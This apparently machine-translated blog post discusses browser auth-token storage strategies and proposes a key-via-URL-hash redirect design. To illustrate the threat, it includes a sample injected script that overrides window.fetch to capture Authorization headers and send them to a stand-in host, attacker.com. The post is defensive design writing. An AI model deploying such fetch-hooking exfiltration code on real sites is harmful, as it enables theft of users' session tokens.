Один из мучительных вопросов для защиты от XSS, CSFR, мошеннических расширений и других векторов — где хранить чертов токен. Во-вторых, насколько безопасны данные, которые мы храним локально? Хотя мне бы хотелось реализовать простой стандарт цепочки для ключей, мы должны работать с имеющимися у нас инструментами: Cookies, localStorage, sessionStorage, IndexedDB, WebAuthn, SubtleCrypto, iFrames, все они размещены в рамках ограничений Cross-Origin.

Я думаю, что есть некоторые, возможно, хорошие сочетания стратегий, которые могут привести к некоторым рабочим процессам, которые могут помочь минимизировать поверхность атаки. Я думаю, что очевидная цель состоит в том, чтобы токен существовал только в памяти внутри локальной области действия.

Цели

  • Предотвратите глобальный доступ JS к токену аутентификации или отправку аутентифицированных ответов.
  • Требовать, чтобы при любом доступе к токену аутентификации требовался ввод данных пользователем.
  • Предотвращение отравления сетевых API для захвата запросов.
  • Разрешить хранение значений в локальном хранилище в зашифрованном виде.
  • Изучите другие ограничения для повышения безопасности.

Компоненты

Печенье

  • С HttpOnly и SameSite=strict смягчает некоторые из самых вопиющих атак.
  • Автоматически включается в запросы, которые соответствуют ограничениям Set-Cookie, поэтому нет защиты от каких-либо атак путем внедрения скрипта или отражения.
  • Позволяет серверу легко хранить зашифрованные данные без сохранения состояния.

У меня всегда было отвращение к файлам cookie, в первую очередь из-за того, что они представляют несколько поверхностей атаки. Я думаю, что хорошее решение могло бы включать файлы cookie для создания «двухключевой» блокировки запросов.

Хранилище

  • Глобальный доступ через JS API, все в виде открытого текста.
  • Вызовы синхронны, поэтому сильное доверие может повлиять на производительность.
  • localStorage сохраняется в сеансах браузера для одного и того же источника, а sessionStorage привязан к сеансу.

Я очень одобряю sessionStorage для большинства случаев использования, прежде всего потому, что он позволяет пользователям активировать разные логины на разных вкладках. localStorage может действовать как функция «запомнить меня» для хранения общей информации об учетной записи.

ИндекседБД

  • Асинхронное хранилище ключей и значений.
  • Глобальный доступ через JS API, все в виде открытого текста.

Я бы не стал хранить в нем токены, но он хорош для хранения локальных кешей данных для автономного использования и производительности. Я хотел бы иметь возможность зашифровать значения и ограничить доступ к базовым данным «правильным» приложением.

WebAuthn

  • Стандарт проверки подлинности на основе асимметричного ключа для проверки подлинности клиентов на серверах.
  • Многое остается за браузерами, и UX не всегда хорош.

Я пробовал использовать это как «связку ключей», требующую одобрения пользователя, и это почтиработает. В спецификации данные запроса сервера должны быть случайными, но теоретически вы можете ввести статический буфер, а затем использовать полученную подпись в качестве входных данных для KDF, чтобы создать ключ AES для расшифровки сохраненного токен. Проблема в том, что часть данных включает необязательный «счетчик знаков», который увеличивается в большинстве браузеров, который каждый раз меняет подпись, предотвращая такой подход.

Я не думаю, что UX для WebAuthn «еще есть» до такой степени, что это хороший выбор, но я включу его в один из подходов.

SubtleCrypto

  • Хороший криптографический API высокого уровня для браузеров, который поддерживает все ваши основные функции.

Это будет важной частью любого подхода, поскольку мы хотим убедиться, что локальные значения зашифрованы и недоступны для глобальных участников.

IFrames

  • Позволяет ограниченную функциональность кросс-происхождения, возможность создания «песочницы».
  • Современный API имеет надежные параметры песочницы.
  • Долгая, тревожная история подвигов.

Старый фаворит, iframes может обеспечить разделение между источником, в котором хранится информация о токенах, и нашим основным приложением. Мы можем свести к минимуму поверхность атаки, отключив то, что работает в этом источнике, и то, как оно взаимодействует с размещенными страницами.

Одна из проблем заключается в том, что связь между фреймами «открыта», вредоносный код может прослушивать передаваемые сообщения и взаимодействовать с ними. Мы могли бы создать зашифрованный «канал» между функцией с ограниченной областью действия на главной странице и iframe, но не были бы уверены в производительности.

Примечание о JWT

Существует немало споров по поводу JWT, особенно в качестве токенов на предъявителя.

  • Поскольку это просто сериализованный JSON + подпись, они могут быть большими. Для многих запросов они могут оказаться больше, чем остальная часть сообщения вместе взятые.
  • Спецификация слишком нестрогая и допускает такие вещи, как none в качестве алгоритма проверки, что приводит к множеству неправильных реализаций.
  • Это может привести к утечке данных пользователя за пределы рабочих процессов аутентификации.
  • Но… при использовании с ECDSA или RSA они великолепны.
  • Простое разделение между сервисами с проверкой в ​​автономном режиме.
  • Позволяет клиентам узнать срок действия и проверить идентификационную информацию.

Что касается размера, вы также можете использовать JWT для токенов идентификации, а затем использовать что-то меньшее для токенов доступа. Или вы можете воспользоваться моим предпочтительным подходом и отказаться от JWT для подписанных объектов protobuf.

Кроме того, для отзыва я обычно использую метод черного списка, который можно фильтровать по претензиям. Это хорошо работает, пока ваш «выход» по умолчанию использует программный «клиент просто забывает токен». Службы подписываются на черный список, а затем проверяют активные фильтры, которые могут отозвать любое одно или несколько требований к токену: идентификатор токена для одноразового использования, идентификатор пользователя + дата выпуска для «выход из системы везде», идентификатор ключа, если ключ скомпрометирован. или любой другой случай, который может произойти. В моих развертываниях это работало очень хорошо с ожиданием того, что фактические аннулирования происходят редко.

Кроме того, я почти всегда включаю хэш «клиента» в качестве требования для проверки IP-адреса, пользовательского агента и пары других «статических» данных. Это требует частичной повторной аутентификации всякий раз, когда пользователь меняет сеть или обновляет браузер, но я считаю, что это разумный компромисс.

Подход № 1: переадресация в автономном режиме

Этот подход перемещает ключ шифрования в отдельный источник (https://auth.example.com), а затем требует от пользователя взаимодействия и «авторизации» приложения. Затем страница авторизации перенаправляется с помощью ключа шифрования в хэше (не отправляется на сервер) URL-адреса. Затем приложение использует ключ и передает его основной функции приложения.

В самом первом элементе script документа приложения (и, очевидно, с большим количеством предположений):

<html>
<head>
<script>
        (function () {
            // Assuming your app expects querystring encoded hash...
            const params = new URLSearchParams(window.location.hash.substring(1))
            // Get the key from the hash
            const key = params.get('key')
            // Remove the key from the params
            params.delete('key')
            // Capture the 'true' fetch function to use for API calls
            const fetch = window.fetch
            window.history.replaceState(null, '', window.location.pathname + '#' + params.toString())
            import('/my-js-bundle.js')
                .then(module => module.start({key, fetch}))
                .catch(err => {
                    //handle error
                })
        })();
    // location.hash no longer contains key
</script>
<script>
    // I'm malicious code that got through
    (() => {
        const fetch = window.fetch
        window.fetch = (...args) => {
            const stolenToken = args[0]?.headers?.get('Authorization')
            //send to attacker
            fetch({
                url: 'https://attacker.com',
                mode: 'cors',
                body: JSON.stringify({
                    stolenToken
                })
            })
            //or a more subtle way
            const img = document.createElement('img')
            img.src = 'https://attacker.com?token=' + stolenToken
            document.append(img)
            return fetch(...args)
        }
        // :( why can't I steal this token?
    })()
</script>

Затем основное приложение может использовать localStorage + SubtleCrypto для расшифровки, а затем использовать токен для чистой выборки. Вы также можете использовать ключ для шифрования других данных в хранилище и IndexedDB.

Конечно, вокруг этого подхода можно сделать гораздо больше, но я думаю, что этого достаточно, чтобы усложнить некоторые из наиболее очевидных атак. Можно изучить несколько уровней дополнительной защиты и добавить все CSP и другие ограничения. https://auth.example.com, конечно, уязвим, так как ключ хранится в виде открытого текста, но вы можете свести к минимуму поверхность атаки, сохранив базовый сайт без внешних зависимостей.

Подход № 2: онлайн-перенаправление

В основном это вариант первого подхода, однако ключ шифрования частично или полностью хранится на сервере с несколькими вариантами.

  • Сервер хранит ключ, и пользователь авторизует его с помощью сообщения формы, а затем сервер перенаправляет с указанием местоположения: https://app.example.com#key=something. Наверное, не лучший подход.
  • Клиент сохраняет локальный ключ в localStorage в зашифрованном виде, а затем запрашивает у сервера ключ для его расшифровки.
  • Вариация предыдущего, однако добавьте WebAuthn в смесь для дальнейшей проверки пользователя.
  • Какая-то другая форма обмена ключами.

Недостатком этого подхода является то, что он онлайн, однако я считаю, что это лучше, чем оставлять ключ открытого текста в localStorage.

Заключение

Я хочу дополнительно изучить другие варианты, такие как изучение зашифрованных каналов с помощью iframe, включение файлов cookie в качестве вторичного ключа, подписанные приложения и многое другое. Тем не менее, я думаю, что это одно из направлений, которое я нашел интересным, даже если оно так и не было реализовано.

Дайте мне знать, где некоторые векторы атаки, которые я, вероятно, пропустил, и любые другие мысли.

Вы можете прочитать другие мои статьи здесь, на Medium, или проверить меня в Twitter @JoshUrbane. Здоровья!